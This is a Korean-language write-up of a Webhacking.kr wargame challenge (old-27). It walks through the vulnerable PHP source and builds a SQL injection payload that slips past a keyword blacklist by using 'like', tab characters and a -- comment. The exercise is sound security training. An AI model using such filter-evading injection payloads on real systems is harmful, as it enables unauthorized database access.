문제 페이지는 해당 페이지와 같다.
페이지에는 입력창과 view-source 링크가 존재한다.
view-source 링크를 확인한다.
하단의 php 부분을 중심으로 해석한다.
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
GET 방식으로 no 파라미터 값을 전달받아 db에 연결한다.
preg_match(정규표현식, 검색대상) 함수를 통하여 일치하는 경우 "no hack" 이라는 문구와 함께 종료된다.
만약 일치하지 않는다면 연결한 db에서 하단의 SQL 쿼리문을 생성하여 그 결과값을 배열형태로 $r 변수에 저장한다.
select id from chall27 where id='guest' and no=({$_GET['no']})
최종 $r 변수의 값의 id가 "guest"인 경우 "guest" 문구를 출력하고
최종 $r 변수의 값의 id가 "admin"인 경우 해당 문제가 풀리는 것을 알 수 있다.
이 때 주석을 통하여 admin의 no 파라미터 값은 2라는 것을 알 수 있다.
해당 문제를 풀기 위하여 no 파라미터 값을 조작하여 하단의 SQL 쿼리문이 되도록 만들어야 한다.
select id from chall27 where id='guest' and no=-1 or no=2
해당 쿼리문을 만들기 위해서 URL 의 no 파라미터 값을 -1) or no=2 # 으로 만들어준다.
다만, no 파라미터를 조작할 때에는 해당 정규표현식 문자들이 들어가서는 안된다.
/#|select|\(| |limit|=|0x/i
# | select | ( | 공백 | limit | = | 0x | /i (대소문자 구분 X) |
=를 like으로 바꾸어 우회하고 공백은 tab(%09)을 사용하여 우회한다.
# 대신 --을 사용하여 주석처리한다.
URL의 no 파라미터 값에 -1)%09or%09no%09like%092--%09 을 넣어 전송하면 문제가 풀리는 것을 확인할 수 있다.
'프로젝트 > Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] Challenge(old) 22번 문제 (0) | 2021.07.13 |
---|---|
[Webhacking.kr] Challenge(old) 16번 문제 (0) | 2021.07.12 |
[Webhacking.kr] Challenge(old) 26번 문제 (0) | 2021.07.08 |
[Webhacking.kr] Challenge(old) 25번 문제 (0) | 2021.07.08 |
[Webhacking.kr] Challenge(old) 24번 문제 (0) | 2021.07.08 |